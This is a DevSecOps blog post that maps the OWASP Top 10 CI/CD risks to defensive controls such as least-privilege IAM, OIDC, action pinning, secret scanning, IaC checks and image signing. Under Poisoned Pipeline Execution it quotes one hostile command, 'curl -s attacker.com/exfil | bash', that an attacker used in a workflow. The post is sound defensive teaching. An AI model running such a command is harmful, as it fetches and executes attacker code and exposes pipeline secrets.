Securing the Pipeline: OWASP Top 10 CI/CD Risks with Practical DevSecOps Controls

The CI/CD pipeline is the most powerful system in a modern engineering organisation. It has write access to production, trusted credentials for cloud accounts, and the ability to deploy code to millions of users. It is also, in many organisations, the least secured system.

The OWASP Top 10 CI/CD Security Risks framework (2022) systematises the attack surface. This post walks through each risk, maps it to real-world scenarios I have encountered building DevSecOps pipelines at energy trading and ad-tech companies, and provides the specific tooling and controls I use.

The Pipeline as an Attack Surface

The diagram above shows the full security gate architecture I implement. The core principle is defence in depth across the pipeline: no single gate is assumed to be complete, and every stage has its own security check. A finding at any gate blocks the pipeline immediately and creates a JIRA ticket.

CICD-SEC-1: Insufficient Flow Control Mechanisms

The risk: Pipeline jobs with excessive permissions, no approval gates, and automatic deployment from feature branches to production.

What I have seen: A CI service account with AdministratorAccess on the AWS account, used for every pipeline job regardless of what the job actually does.

Controls I implement:

Separate service accounts per pipeline stage, each with minimal required permissions:

# Terraform: separate IAM roles per CI stage
resource "aws_iam_role" "ci_sast_role" {
  name               = "ci-sast-stage-role"
  assume_role_policy = data.aws_iam_policy_document.github_actions_trust.json
}

resource "aws_iam_role_policy" "ci_sast_policy" {
  name = "sast-only"
  role = aws_iam_role.ci_sast_role.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect   = "Allow"
      Action   = ["s3:GetObject", "s3:PutObject"]
      Resource = "arn:aws:s3:::ci-scan-results/*"
    }]
  })
}

resource "aws_iam_role" "ci_deploy_prod_role" {
  name               = "ci-deploy-prod-role"
  assume_role_policy = data.aws_iam_policy_document.github_actions_trust.json
}
# deploy-prod role requires manual approval in GitHub Actions environment
# and has only the permissions needed for EKS deployment

Branch protection rules in GitHub:

# .github/workflows/deploy-prod.yml
environment:
  name: production  # Requires manual approval from security team
  url: https://prod.example.com

CICD-SEC-2: Inadequate Identity and Access Management

The risk: Long-lived credentials (static access keys) stored as CI secrets, shared across teams, never rotated.

What I have seen: AWS access keys committed to a .env file in a public repository in 2022, discovered via GitHub search three months after the fact.

Controls I implement:

Replace static credentials with OIDC federated identity. GitHub Actions and AWS support this natively:

# Terraform: GitHub OIDC trust relationship
data "aws_iam_policy_document" "github_actions_trust" {
  statement {
    actions = ["sts:AssumeRoleWithWebIdentity"]
    principals {
      type        = "Federated"
      identifiers = [aws_iam_openid_connect_provider.github.arn]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:aud"
      values   = ["sts.amazonaws.com"]
    }
    condition {
      test     = "StringLike"
      variable = "token.actions.githubusercontent.com:sub"
      values   = ["repo:your-org/your-repo:*"]
    }
  }
}
# .github/workflows/deploy.yml
- name: Configure AWS credentials via OIDC
  uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/ci-deploy-prod-role
    role-session-name: GithubActionsSession
    aws-region: eu-central-1
    # No static credentials - token is issued per job, expires after 1 hour

CICD-SEC-3: Dependency Chain Abuse (Supply Chain)

The risk: Pulling third-party packages, base images, and GitHub Actions from untrusted sources. A compromised npm package or Docker base image infects every service that uses it.

What I have seen: A node_modules dependency updated silently to include a cryptocurrency miner, discovered only because EC2 CPU usage spiked.

Controls I implement:

Pin all GitHub Actions to a commit SHA, not a version tag:

# BAD: tag can be moved to point at malicious code
- uses: actions/checkout@v4

# GOOD: pinned to a specific commit digest
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

SCA with Trivy in the pipeline:

- name: Scan dependencies for CVEs
  uses: aquasecurity/trivy-action@master
  with:
    scan-type: fs
    scan-ref: .
    format: sarif
    output: trivy-results.sarif
    severity: CRITICAL,HIGH
    exit-code: 1          # Fail the pipeline on CRITICAL/HIGH

- name: Upload SARIF to GitHub Security tab
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: trivy-results.sarif

Generate and sign an SBOM:

# Generate SBOM for the container image
syft 123456789.dkr.ecr.eu-central-1.amazonaws.com/myapp:1.2.3 \
  -o spdx-json=sbom.spdx.json

# Attach SBOM as a signed attestation to the image
cosign attest \
  --predicate sbom.spdx.json \
  --type spdxjson \
  123456789.dkr.ecr.eu-central-1.amazonaws.com/myapp:1.2.3@sha256:abc...

CICD-SEC-4: Poisoned Pipeline Execution (PPE)

The risk: An attacker submits a PR that modifies the CI/CD configuration (.github/workflows/*.ymlJenkinsfile.gitlab-ci.yml) to exfiltrate secrets or deploy malicious code.

What I have seen: A PR from a fork that modified the workflow to curl -s attacker.com/exfil | bash using secrets available in the runner environment.

Controls I implement:

In GitHub Actions, workflows triggered by pull_request from forks run without access to secrets. Use pull_request_target only when necessary and never check out untrusted code in the same job that has access to secrets:

on:
  pull_request:
    # This trigger does NOT have access to secrets from forks
    # Safe for SAST, linting, and build jobs

# NEVER do this in pull_request_target:
- uses: actions/checkout@v4
  with:
    ref: ${{ github.event.pull_request.head.sha }}  # DANGEROUS in pull_request_target

Require PR approval from a code owner before any pipeline runs:

# .github/CODEOWNERS
.github/workflows/**  @security-team
Jenkinsfile           @security-team
terraform/            @infrastructure-team @security-team

CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls)

The risk: Pipeline jobs can access secrets and resources beyond what they need. A SAST job that also has deployment credentials can both scan and deploy – the blast radius of a compromised job doubles.

Controls I implement:

Separate every pipeline stage into its own job with its own IAM role and minimal secret exposure:

jobs:
  sast:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write    # For SARIF upload only
    # No AWS credentials - SAST does not need cloud access

  build:
    needs: sast
    permissions:
      contents: read
      packages: write           # For ECR push
    # Gets ECR push role only

  deploy-staging:
    needs: build
    environment: staging
    permissions:
      id-token: write           # For OIDC only
      contents: read
    # Gets staging deploy role only - cannot touch prod

  deploy-prod:
    needs: [build, integration-tests]
    environment: production     # Requires manual approval
    permissions:
      id-token: write
      contents: read
    # Gets prod deploy role only after explicit human approval

CICD-SEC-6: Insufficient Credential Hygiene

The risk: Secrets printed to logs, stored in build artefacts, or embedded in container image layers.

Controls I implement:

gitleaks as a pre-commit hook to catch secrets before they reach the repository:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.4
    hooks:
      - id: gitleaks
        name: Detect hardcoded secrets
        entry: gitleaks protect --staged
        language: golang
        pass_filenames: false

Trivy secret scanning in the CI pipeline as a second layer:

- name: Scan for secrets in filesystem
  run: |
    trivy fs . \
      --scanners secret \
      --exit-code 1 \
      --severity HIGH,CRITICAL

Multi-stage Docker builds to avoid leaking build-time credentials into the final image layer:

# Stage 1: Build - may use build-time secrets
FROM golang:1.22 AS builder
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc \
    go build -o /app ./...

# Stage 2: Runtime - distroless, no build tools, no secrets
FROM gcr.io/distroless/base-debian12
COPY --from=builder /app /app
USER nonroot:nonroot
ENTRYPOINT ["/app"]

CICD-SEC-7: Insecure System Configuration (IaC)

The risk: Terraform, CloudFormation, and Helm charts with security misconfigurations (open security groups, unencrypted storage, disabled logging) that pass code review because reviewers miss security context.

Controls I implement:

Checkov as a mandatory CI gate with custom policies for organisation-specific rules:

- name: Checkov IaC security scan
  uses: bridgecrewio/checkov-action@master
  with:
    directory: terraform/
    framework: terraform
    output_format: cli,sarif
    output_file_path: console,checkov-results.sarif
    soft_fail: false
    compact: true
    # Our custom policies on top of built-in rules
    external-checks-dir: policies/checkov/

A custom Checkov check for an organisation-specific requirement (all S3 buckets must have a data-classification tag):

# policies/checkov/check_s3_data_classification_tag.py
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck

class S3DataClassificationTag(BaseResourceCheck):
    def __init__(self):
        name = "S3 bucket must have data-classification tag"
        id = "CKV_CUSTOM_S3_01"
        categories = [CheckCategories.GENERAL_SECURITY]
        supported_resources = ["aws_s3_bucket"]
        super().__init__(name=name, id=id, categories=categories,
                         supported_resources=supported_resources)

    def scan_resource_conf(self, conf):
        tags = conf.get("tags", [{}])[0]
        if isinstance(tags, dict) and "data-classification" in tags:
            return CheckResult.PASSED
        return CheckResult.FAILED

scanner = S3DataClassificationTag()

CICD-SEC-8: Ungoverned Usage of Third-Party Services

The risk: Engineers connect third-party services (Slack, Datadog, Snyk) to the CI/CD system with broad OAuth scopes and no review process. These integrations accumulate over time and represent a significant supply chain risk.

Controls I implement:

Maintain an approved-integrations registry in Terraform, so any new OAuth application requires a PR with security review:

# terraform/github-integrations.tf
resource "github_app_installation_repository" "approved_integrations" {
  for_each = toset([
    "snyk",
    "datadog-ci",
    "codecov"
  ])
  # New integrations require adding to this list, which triggers policy review
}

Audit all active GitHub Actions secrets quarterly using the GitHub API:

gh api repos/your-org/your-repo/actions/secrets --paginate \
  | jq '.secrets[] | {name, updated_at}'

CICD-SEC-9: Improper Artefact Integrity Validation

The risk: Container images are built, pushed to a registry, and deployed – but nothing validates that the image that reaches production is the same image that was scanned and approved.

Controls I implement:

Sign every container image with Cosign (Sigstore) after it passes all scans:

# Sign the image after all security gates pass
cosign sign \
  --key awskms:///arn:aws:kms:eu-central-1:ACCOUNT:key/KEY_ID \
  123456789.dkr.ecr.eu-central-1.amazonaws.com/myapp:1.2.3@sha256:abc...

Verify the signature in the Kubernetes admission controller using a Kyverno policy:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce
  rules:
    - name: verify-cosign-signature
      match:
        any:
          - resources:
              kinds: [Pod]
      verifyImages:
        - imageReferences:
            - "123456789.dkr.ecr.eu-central-1.amazonaws.com/*"
          attestors:
            - entries:
                - keys:
                    kms: awskms:///arn:aws:kms:eu-central-1:ACCOUNT:key/KEY_ID

CICD-SEC-10: Insufficient Logging and Visibility

The risk: Pipeline runs leave no audit trail, making post-incident forensics impossible. Who triggered the deployment? What image digest was used? Were any gates bypassed?

Controls I implement:

Ship all pipeline events to a centralised audit log (CloudWatch + S3) using GitHub Actions OIDC tokens for attribution:

- name: Emit audit log entry
  run: |
    aws logs put-log-events \
      --log-group-name "/cicd/audit" \
      --log-stream-name "github-actions" \
      --log-events timestamp=$(date +%s%3N),message="{
        \"workflow\": \"$GITHUB_WORKFLOW\",
        \"actor\": \"$GITHUB_ACTOR\",
        \"ref\": \"$GITHUB_REF\",
        \"sha\": \"$GITHUB_SHA\",
        \"image_digest\": \"$IMAGE_DIGEST\",
        \"environment\": \"production\",
        \"timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\"
      }"

Orca Security’s CSPM continuously monitors the cloud environment for drift – if a configuration changes outside of a pipeline run, it generates a finding within minutes.


Putting It Together: The Security Gate Summary

StageToolWhat it catchesFailure action
Pre-commitgitleaksSecrets in staged filesBlock commit
Pre-committflintTerraform syntax errorsBlock commit
CI: SASTCheckovIaC misconfigurationsBlock PR merge
CI: SASTSemgrepApplication code vulnerabilitiesBlock PR merge
CI: SCATrivyOSS dependency CVEsBlock PR merge
CI: SecretTrivySecrets in repo/imageBlock PR merge
BuildMulti-stage DockerfileCredentials in image layersArchitectural control
Image scanTrivy + OrcaContainer CVEs, malwareBlock image push
SigncosignUnsigned images reach prodK8s admission deny
DASTOWASP ZAPRuntime API vulnerabilitiesBlock prod deploy
K8s admissionKyverno + OPAWorkload policy violationsBlock pod creation
RuntimeFalco + GuardDutyPost-deploy threat detectionAlert + IR trigger

Each gate is independently meaningful – a finding at any layer stops the pipeline before it propagates further.